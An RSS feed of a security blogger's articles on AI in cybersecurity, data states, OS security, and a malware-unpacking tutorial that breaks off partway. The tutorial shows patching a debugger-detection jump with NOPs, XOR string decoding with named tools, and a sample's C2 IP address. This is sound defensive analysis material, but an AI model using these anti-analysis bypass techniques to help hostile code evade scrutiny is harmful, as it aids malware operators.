<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Khalif AL Mahmud</title>
    <description>The latest articles on DEV Community by Khalif AL Mahmud (@almahmudkhalif).</description>
    <link>https://dev.to/almahmudkhalif</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2248836%2F3df06cb4-bca9-419a-a92f-40933dcd6ac6.png</url>
      <title>DEV Community: Khalif AL Mahmud</title>
      <link>https://dev.to/almahmudkhalif</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/almahmudkhalif"/>
    <language>en</language>
    <item>
      <title>AI in Cybersecurity: Why Artificial Intelligence Is Both Our Strongest Defense and a Growing Threat</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Sat, 04 Jul 2026 20:57:44 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/ai-in-cybersecurity-the-double-edged-sword-we-all-need-to-understand-291f</link>
      <guid>https://dev.to/almahmudkhalif/ai-in-cybersecurity-the-double-edged-sword-we-all-need-to-understand-291f</guid>
      <description>&lt;p&gt;AI is everywhere now. It can recognize images, understand language, and even write code on its own by learning patterns from massive amounts of data. Naturally, this same technology has found its way deep into cybersecurity — because let's be honest, the volume of threats and data generated every single day is way too much for humans to handle alone.&lt;/p&gt;

&lt;p&gt;But here's the catch: AI in cybersecurity isn't a one-sided story. It's being used for defense &lt;em&gt;and&lt;/em&gt; offense, by the good guys and the bad guys, at the same time. Let's break it down.&lt;/p&gt;

&lt;h2&gt;
  
  
  How AI Is Actually Used in Cybersecurity
&lt;/h2&gt;

&lt;p&gt;On the &lt;strong&gt;defense side&lt;/strong&gt;, AI shows up in a few key ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Behavioral Analytics&lt;/strong&gt; — AI learns what "normal" looks like for a user or network, so it can flag anomalies almost instantly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SIEM (Security Information and Event Management)&lt;/strong&gt; — AI helps sift through huge volumes of log data, cutting down false positives and surfacing real threats.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SOAR (Security Orchestration, Automation and Response)&lt;/strong&gt; — systems can automatically respond to attacks, like blocking a malicious IP or isolating a compromised device, without waiting for a human to click a button.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security researchers and pentesters also lean on AI for automated vulnerability scanning, source code analysis, and simulating real-world attacks through red teaming.&lt;/p&gt;

&lt;p&gt;On the &lt;strong&gt;offense side&lt;/strong&gt;, though, the exact same intelligence is being weaponized. Attackers use AI to build &lt;strong&gt;polymorphic malware&lt;/strong&gt; — malicious code that rewrites itself every time it runs, making it nearly invisible to signature-based antivirus tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Tools Changing Pentesting Right Now
&lt;/h2&gt;

&lt;p&gt;A few AI-driven tools are quietly reshaping how penetration testing works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PentestGPT&lt;/strong&gt; — an LLM-powered assistant that walks through pentest methodology step by step, suggesting what technique to try next on a given target.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Burp AI&lt;/strong&gt; — an AI feature built into Burp Suite that analyzes HTTP requests and explains potential vulnerabilities in plain language.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XBOW&lt;/strong&gt; — a more autonomous platform that can find &lt;em&gt;and&lt;/em&gt; exploit vulnerabilities on its own, then generate the report.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These tools point toward a future where AI-assisted workflows shrink the amount of manual grunt work in pentesting — but as we'll get to, they don't remove the human from the loop entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Advantages
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Speed and scale&lt;/strong&gt; — analyzing thousands of logs instantly is trivial for AI, brutal for humans.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Catching unknown threats&lt;/strong&gt; — pattern recognition can flag zero-days even without a known signature.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fewer false positives&lt;/strong&gt; — context-aware alerts mean analysts stop drowning in noise.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automated response&lt;/strong&gt; — SOAR systems act the moment an attack is detected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Doing more with less&lt;/strong&gt; — even small security teams can now monitor large infrastructure.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Limitations Nobody Should Ignore
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dual-use risk&lt;/strong&gt; — anything built for defense can be repurposed for attack (AI-written phishing emails, polymorphic malware).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The black box problem&lt;/strong&gt; — it's often impossible to explain &lt;em&gt;why&lt;/em&gt; an AI model made a decision, which becomes a real headache when that decision needs to hold up as evidence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;False negatives&lt;/strong&gt; — a poorly trained model can simply miss a real threat.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Garbage in, garbage out&lt;/strong&gt; — AI is only as good as the data it was trained on.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human verification is non-negotiable&lt;/strong&gt; — trusting an AI-generated report or payload blindly is a mistake waiting to happen.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What an AI-Assisted Pentest Workflow Actually Looks Like
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Recon&lt;/strong&gt; — gathering target information using tools like Shodan, Censys, plus AI-assisted OSINT.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI Analysis&lt;/strong&gt; — an LLM reviews the collected data and flags potential vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload/Exploit Suggestions&lt;/strong&gt; — tools like PentestGPT propose exploit ideas, which are &lt;em&gt;never&lt;/em&gt; used blindly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human Validation&lt;/strong&gt; — a real pentester checks everything before it ever reaches a client report.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Speed and efficiency come from the AI. The final call still belongs to a human.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where This Is All Heading
&lt;/h2&gt;

&lt;p&gt;The numbers here are genuinely wild: a cyberattack happens roughly every 39 seconds, and global cyber damage is projected to hit around $10.5 trillion by 2026. At the same time, there are over 3.5 million unfilled cybersecurity jobs worldwide. Put those two facts together and it's obvious why AI-augmented defense isn't optional anymore — it's how the industry keeps up.&lt;/p&gt;

&lt;p&gt;Expect &lt;strong&gt;Agentic AI&lt;/strong&gt; — systems that can run an entire pentest or threat-hunting operation with minimal human input — to keep advancing. But the threat side is evolving just as fast: AI-generated malware, deepfake-based fraud, and hyper-convincing AI phishing are only going to get more sophisticated. Understanding how these tools work, and where they fall short, is becoming a baseline skill for anyone in security — not a nice-to-have.&lt;/p&gt;




&lt;h1&gt;
  
  
  Cyber Law and Ethics in the Age of AI
&lt;/h1&gt;

&lt;p&gt;Technology moves fast. Law, by nature, moves slower. That gap is exactly where most of today's problems live.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Cyber Law Actually Covers
&lt;/h2&gt;

&lt;p&gt;At its core, cyber law exists to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Protect data&lt;/strong&gt; — safeguarding sensitive user information and privacy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prevent crime&lt;/strong&gt; — defining and punishing things like unauthorized access and data breaches.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Protect intellectual property&lt;/strong&gt; — covering copyrights on digital content and software.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legitimize e-commerce&lt;/strong&gt; — making online transactions safe and enforceable.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In short, cyber law defines who's allowed to do what in the digital world — and what happens when they don't.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Cyber Ethics Actually Means
&lt;/h2&gt;

&lt;p&gt;Ethics is the part that isn't always written into law but absolutely should guide how a security professional behaves. It rests on three pillars:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Integrity&lt;/strong&gt; — never making harmful changes to a client's system, and never exploiting a found vulnerability for personal gain.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privacy&lt;/strong&gt; — never leaking sensitive data, source code, or credentials discovered during testing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accountability&lt;/strong&gt; — staying within scope and delivering complete, honest reports.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Technical skill makes someone a hacker. Ethics and legal compliance are what make someone a &lt;em&gt;security professional&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cybercrime Has Changed Shape
&lt;/h2&gt;

&lt;p&gt;The old advice — "check for spelling mistakes in phishing emails" — barely applies anymore. AI tools (including malicious variants of language models) can now scrape someone's LinkedIn or social profile and generate a perfectly personalized, grammatically flawless spear-phishing email.&lt;/p&gt;

&lt;p&gt;Deepfake-driven &lt;strong&gt;executive impersonation&lt;/strong&gt; is another major shift — fake audio or video of a company executive used to authorize fraudulent transfers. One well-documented case involved a multinational company losing roughly $25 million this way.&lt;/p&gt;

&lt;p&gt;Malware itself has evolved too: &lt;strong&gt;polymorphic and metamorphic&lt;/strong&gt; code rewrites its own structure on every execution, defeating traditional signature-based detection.&lt;/p&gt;

&lt;p&gt;All of this creates brand-new legal headaches:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Attribution problem&lt;/strong&gt; — proving &lt;em&gt;who&lt;/em&gt; actually launched an attack.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cross-border jurisdiction&lt;/strong&gt; — whose laws apply when the attacker and victim are in different countries?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Algorithmic black box&lt;/strong&gt; — how do you prove intent or fault in court when an AI system acted semi-autonomously?&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What "Legal Use" of AI in Security Actually Requires
&lt;/h2&gt;

&lt;p&gt;The one condition that separates legal from illegal use of AI in security work is simple: &lt;strong&gt;written consent&lt;/strong&gt;. Testing a system you have explicit permission to test, participating in an official bug bounty program, or running malware analysis in your own isolated lab — all fine. Accessing a system without authorization, sniffing traffic on public networks, or using AI-generated exploits to steal and sell data — all firmly illegal, regardless of how the AI was used.&lt;/p&gt;

&lt;p&gt;Internationally, frameworks like the &lt;strong&gt;EU AI Act&lt;/strong&gt; and the &lt;strong&gt;NIST AI Risk Management Framework&lt;/strong&gt; are starting to formalize this. The EU AI Act, for instance, requires strict audits for high-risk AI systems and mandates watermarking for deepfake content.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using AI Tools Ethically
&lt;/h2&gt;

&lt;p&gt;A few ground rules that matter regardless of jurisdiction:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Responsible disclosure&lt;/strong&gt; — if you find a vulnerability, report it to the vendor privately (commonly with a 90-day window to patch) instead of dropping it publicly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Know the model's limits&lt;/strong&gt; — AI suggestions are not automatically correct. Treat them as a starting point, not gospel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't break production&lt;/strong&gt; — intentionally crashing a client's live system to "prove a point" is unethical, full stop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Respect scope&lt;/strong&gt; — testing anything outside the agreed boundaries is off-limits, even if you stumble onto a real bug there.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And here's the line that matters most: &lt;strong&gt;"the AI made a mistake" is not a legal defense.&lt;/strong&gt; Responsibility always sits with the human operating the tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rules of Engagement (ROE) and Scope
&lt;/h2&gt;

&lt;p&gt;Before any penetration test begins, a signed &lt;strong&gt;Rules of Engagement&lt;/strong&gt; agreement should be in place. It typically covers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What the tester is and isn't allowed to do.&lt;/li&gt;
&lt;li&gt;A defined testing window (often off-peak hours).&lt;/li&gt;
&lt;li&gt;Which tools/techniques are permitted (e.g., is automated AI-driven exploitation allowed? Social engineering?).&lt;/li&gt;
&lt;li&gt;An emergency contact in case something breaks mid-test.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Scope&lt;/strong&gt; then draws the exact boundary — which domains, IPs, or applications are in-scope, and which (like third-party payment gateways or cloud infrastructure you don't own) are strictly off-limits. Skipping the ROE step isn't just risky — it can turn a legitimate test into an actual crime.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Responsible Practice Matters More Than Ever
&lt;/h2&gt;

&lt;p&gt;Because AI-driven threats evolve faster than legislation can keep up, professionals need to hold themselves to a higher bar than the law strictly requires. That means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keeping meticulous documentation and command logs.&lt;/li&gt;
&lt;li&gt;Maintaining proper chain of custody for sensitive data.&lt;/li&gt;
&lt;li&gt;Securely wiping any collected data per agreed policy once the engagement ends.&lt;/li&gt;
&lt;li&gt;Following established frameworks like OWASP and NIST.&lt;/li&gt;
&lt;li&gt;Testing new tools or exploits in an isolated lab before anywhere near production.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The real goal is avoiding two traps: being &lt;strong&gt;legal but unethical&lt;/strong&gt;, or &lt;strong&gt;ethical but illegal&lt;/strong&gt;. A serious security professional has to satisfy both — because technical skill alone won't protect your career or credibility if either one slips.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Takeaway
&lt;/h2&gt;

&lt;p&gt;AI is now a genuine dual-use technology in cybersecurity — a force multiplier for defenders and attackers alike. Tools like PentestGPT, Burp AI, and XBOW make the work faster, but the final judgment call still has to be human, because when AI gets something wrong, the AI doesn't carry the consequences — the person using it does.&lt;/p&gt;

&lt;p&gt;Technical skill can make someone a hacker. Ethics, scope discipline, and legal compliance are what make someone a security &lt;em&gt;professional&lt;/em&gt;. And since AI keeps outpacing the law, new problems like attribution and jurisdiction are only going to get messier. Building ethics and responsibility alongside technical ability isn't optional anymore — it's the actual job.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ai</category>
      <category>roe</category>
      <category>hacktoberfest</category>
    </item>
    <item>
      <title>How Can We Secure Data at Every Stage of the Data Lifecycle?</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Tue, 30 Jun 2026 11:36:10 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/how-can-we-secure-data-at-every-stage-of-the-data-lifecycle-1lg8</link>
      <guid>https://dev.to/almahmudkhalif/how-can-we-secure-data-at-every-stage-of-the-data-lifecycle-1lg8</guid>
      <description>&lt;p&gt;Data security is important at every stage of the data lifecycle. Data can exist in three different states:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Data at Rest (DAR)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data in Motion (DIM)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data in Use (DIU)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's briefly look at each stage.&lt;/p&gt;

&lt;h2&gt;
  
  
  Data at Rest (DAR)
&lt;/h2&gt;

&lt;p&gt;Data at Rest (DAR) refers to data that is stored on devices such as hard drives, SSDs, or cloud storage. It can be protected by using encryption, strong passwords, and proper access control so that unauthorized users cannot read or modify the data.&lt;/p&gt;

&lt;h2&gt;
  
  
  Data in Motion (DIM)
&lt;/h2&gt;

&lt;p&gt;Data in Motion (DIM) refers to data that is being transferred over a network. It is usually secured by encryption protocols such as TLS/SSL, VPNs, and secure communication channels to prevent interception or tampering.&lt;/p&gt;

&lt;h2&gt;
  
  
  Data in Use (DIU)
&lt;/h2&gt;

&lt;p&gt;The most challenging stage is Data in Use (DIU), which means the data is actively being processed by the computer and is temporarily stored in RAM (Random Access Memory).&lt;/p&gt;

&lt;p&gt;In most cases, data in RAM is kept in plain text so that the CPU can process it quickly. Because of this, it is impossible to make data in RAM completely secure all the time.&lt;/p&gt;

&lt;p&gt;However, it is possible to improve its security. Modern technologies such as Trusted Execution Environments (TEE), Intel SGX, AMD SEV, and memory encryption help protect data while it is being processed. Operating systems also use memory isolation, access control, and application sandboxing to reduce the risk of unauthorized access.&lt;/p&gt;

&lt;p&gt;Even with these protections, if an attacker gains high-level system privileges or exploits hardware vulnerabilities, sensitive data may still be exposed.&lt;/p&gt;

&lt;p&gt;Therefore, data in use can be secured to a great extent, but it cannot be made 100% secure, because the CPU must access the data in its original form to perform computations.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Among the three stages of the data lifecycle, Data in Use (DIU) remains the most difficult to secure. While modern hardware and operating systems provide several protection mechanisms, complete security is still not possible due to the fundamental requirement that the CPU must access data in its original form during computation.&lt;/p&gt;

</description>
      <category>datalifecycle</category>
      <category>dar</category>
      <category>dim</category>
      <category>diu</category>
    </item>
    <item>
      <title>Is Linux Secure? Is Windows Secure? Which Operating System is More Secure?</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Tue, 30 Jun 2026 11:29:27 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/is-linux-secure-is-windows-secure-which-operating-system-is-more-secure-20hk</link>
      <guid>https://dev.to/almahmudkhalif/is-linux-secure-is-windows-secure-which-operating-system-is-more-secure-20hk</guid>
      <description>&lt;p&gt;Linux and Windows are the two most widely used operating systems today. Many people believe Linux is completely secure, while others think Windows is less secure because it is frequently targeted by hackers. However, the reality is that &lt;strong&gt;no operating system is completely secure&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Every operating system has strengths and weaknesses, and its security depends on how it is configured, maintained, and used.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is Linux Secure?
&lt;/h2&gt;

&lt;p&gt;Linux is generally considered a secure operating system because of its strong permission model and lower exposure to malware. It is widely used in servers, cloud computing, and enterprise environments. Since Linux is open source, security researchers can quickly identify and fix vulnerabilities.&lt;/p&gt;

&lt;p&gt;However, Linux is not perfect. Software bugs, security flaws, and poor system configurations can still create vulnerabilities. If updates are ignored or security best practices are not followed, Linux systems can also be compromised.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is Windows Secure?
&lt;/h2&gt;

&lt;p&gt;Windows has become much more secure over the years. It includes several built-in security features such as Microsoft Defender, Windows Firewall, BitLocker, and automatic security updates. These features help protect users against many common cyber threats.&lt;/p&gt;

&lt;p&gt;On the other hand, Windows is the most widely used operating system in the world. Because of its popularity, it is also a primary target for malware, ransomware, phishing attacks, and other cyber threats. Keeping Windows updated and following safe security practices are essential.&lt;/p&gt;

&lt;h2&gt;
  
  
  Which Operating System Is More Secure?
&lt;/h2&gt;

&lt;p&gt;There is no single answer to this question.&lt;/p&gt;

&lt;p&gt;Linux is often preferred for servers and enterprise environments because of its security model and flexibility. Windows offers strong built-in security features and is easier for most users to manage.&lt;/p&gt;

&lt;p&gt;Ultimately, the security of any operating system depends on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Regular updates&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Timely security patches&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Proper configuration&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strong passwords&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Responsible user behavior&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Neither Linux nor Windows is 100% secure. Both operating systems have vulnerabilities that attackers can exploit.&lt;/p&gt;

&lt;p&gt;A secure system depends not only on the operating system itself but also on how well it is configured, maintained, and used.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;There is no operating system that is completely secure.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;If you have a different perspective on Linux vs. Windows security, feel free to share your thoughts in the comments.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>windows</category>
      <category>computersecuritysystem</category>
    </item>
    <item>
      <title>Malware Unpacking &amp; Anti-Analysis Bypass: A Deep Dive into Real-World Techniques</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Fri, 26 Jun 2026 18:21:16 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/malware-unpacking-anti-analysis-bypass-a-deep-dive-into-real-world-techniques-89a</link>
      <guid>https://dev.to/almahmudkhalif/malware-unpacking-anti-analysis-bypass-a-deep-dive-into-real-world-techniques-89a</guid>
      <description>&lt;p&gt;Malware authors don't make our job easy. Every time we think we've figured out their tricks, they layer on another obfuscation technique, another anti-debugging check, another sandbox evasion. Over the past few weeks, I've been deep in the trenches with some particularly stubborn samples — the kind that detect your debugger, hide their strings behind XOR encoding, and hollow out legitimate processes to hide their payload.&lt;/p&gt;

&lt;p&gt;This article walks through my hands-on exploration of these techniques. We'll look at how malware detects analysis tools, how it obfuscates its strings, how it unpacks itself in memory, and most importantly — how we can bypass these defenses to see what the malware is actually trying to do.&lt;/p&gt;

&lt;p&gt;The tools we'll use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;x64dbg/x32dbg&lt;/strong&gt; for dynamic analysis and patching&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IDA Pro&lt;/strong&gt; for static disassembly&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;REMnux&lt;/strong&gt; (Linux toolkit) for string deobfuscation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FLOSS, XORSearch, bbcrack&lt;/strong&gt; for automated string decoding&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scylla &amp;amp; OllyDumpEx&lt;/strong&gt; for dumping unpacked payloads&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process Hacker&lt;/strong&gt; for memory forensics&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Problem Statement
&lt;/h2&gt;

&lt;p&gt;Modern malware is rarely "what you see is what you get." A single executable might be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Packed&lt;/strong&gt; — the actual malicious code is compressed/encrypted and only revealed at runtime&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anti-debug aware&lt;/strong&gt; — it checks for debuggers and changes behavior or terminates&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sandbox-aware&lt;/strong&gt; — it detects virtualized environments and refuses to execute its payload&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;String-obfuscated&lt;/strong&gt; — URLs, registry keys, and IOCs are encoded to evade signature detection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process-injecting&lt;/strong&gt; — it hollows out a legitimate process (like &lt;code&gt;explorer.exe&lt;/code&gt;) and runs its code there&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Our goal: &lt;strong&gt;peel back these layers&lt;/strong&gt; and extract the real payload for analysis.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exercise 1: Bypassing Debugger Detection in &lt;code&gt;getdown.exe&lt;/code&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What I Found
&lt;/h3&gt;

&lt;p&gt;The first sample, &lt;code&gt;getdown.exe&lt;/code&gt;, refused to show any network activity when run inside a debugger. Outside the debugger, it connected to &lt;code&gt;1.234.27.146:80&lt;/code&gt;. Classic anti-debugging behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Detection Mechanism
&lt;/h3&gt;

&lt;p&gt;Using x64dbg, I searched for intermodular calls and immediately spotted &lt;code&gt;IsDebuggerPresent&lt;/code&gt; at the top of the list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;call qword ptr ds:[&amp;lt;&amp;amp;IsDebuggerPresent&amp;gt;]
test eax, eax
jne getdown.140001216  ; jumps away if debugger detected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;IsDebuggerPresent&lt;/code&gt; returns &lt;code&gt;1&lt;/code&gt; (debugger present), the &lt;code&gt;JNE&lt;/code&gt; jumps to code that terminates the process. When it returns &lt;code&gt;0&lt;/code&gt;, execution continues normally.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Bypass
&lt;/h3&gt;

&lt;p&gt;I set a breakpoint on the &lt;code&gt;TEST EAX, EAX&lt;/code&gt; instruction after the call. When hit, RAX contained &lt;code&gt;1&lt;/code&gt; — confirming debugger detection. The fix was simple: &lt;strong&gt;patch the conditional jump to unconditional NOPs&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; Before (at 14000102C):
jne getdown.140001216

; After patching:
nop
nop
nop
nop
nop
nop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In x64dbg: select the &lt;code&gt;JNE&lt;/code&gt; instruction → press Space → type &lt;code&gt;NOP&lt;/code&gt; → enable "Fill with NOP's" → OK. Now the malware executes its payload regardless of what &lt;code&gt;IsDebuggerPresent&lt;/code&gt; returns.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exercise 2: Deobfuscating Encoded Strings
&lt;/h2&gt;

&lt;p&gt;Malware hides its strings using simple encoding algorithms. I experimented with several tools to decode them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tool 1: XORSearch
&lt;/h3&gt;

&lt;p&gt;Searching for the known IP &lt;code&gt;1.234.27.&lt;/code&gt; inside &lt;code&gt;getdown.exe&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xorsearch &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; getdown.exe 1.234.27.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output revealed an &lt;strong&gt;XOR key of 0x83&lt;/strong&gt;. The &lt;code&gt;-s&lt;/code&gt; flag generated &lt;code&gt;getdown.exe.XOR.83&lt;/code&gt; — a fully decoded file. Extracting strings from it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings getdown.exe.XOR.83 | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This surfaced not just the C2 URL, but also an &lt;strong&gt;affiliate ID string&lt;/strong&gt; — a nice unexpected find.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tool 2: brxor.py &amp;amp; bbcrack.py
&lt;/h3&gt;

&lt;p&gt;On &lt;code&gt;hubert.dll&lt;/code&gt;, &lt;code&gt;brxor.py&lt;/code&gt; automatically found XOR key &lt;code&gt;0x5&lt;/code&gt; and decoded English-language strings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;brxor.py hubert.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output suggested this sample was a &lt;strong&gt;fake antivirus tool&lt;/strong&gt;, complete with registry key paths and URL patterns — solid IOCs for further hunting.&lt;/p&gt;

&lt;p&gt;For deeper analysis, &lt;code&gt;bbcrack.py&lt;/code&gt; with single-level transformations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bbcrack.py &lt;span class="nt"&gt;-l&lt;/span&gt; 1 hubert.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This generated &lt;code&gt;hubert_xor05.dll&lt;/code&gt;. Running &lt;code&gt;strings&lt;/code&gt; on it confirmed the decoded content matched and extended what &lt;code&gt;brxor.py&lt;/code&gt; found.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tool 3: Manual Stack String Decoding in IDA
&lt;/h3&gt;

&lt;p&gt;Some malware builds strings character-by-character on the stack at runtime. In &lt;code&gt;9.exe&lt;/code&gt;, between offsets &lt;code&gt;40133D&lt;/code&gt; and &lt;code&gt;4013B8&lt;/code&gt;, I found a block of &lt;code&gt;MOV&lt;/code&gt; instructions pushing single bytes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov byte ptr [ebp+var_4], 5Ch  ; ''
mov byte ptr [ebp+var_3], 50h  ; 'P'
; ... etc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In IDA, highlighting each hex value and pressing &lt;strong&gt;R&lt;/strong&gt; converts it to ASCII. Doing this for the entire block revealed the string:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;\Program Files\Common Files\
&lt;/code&gt;&lt;/pre&gt;

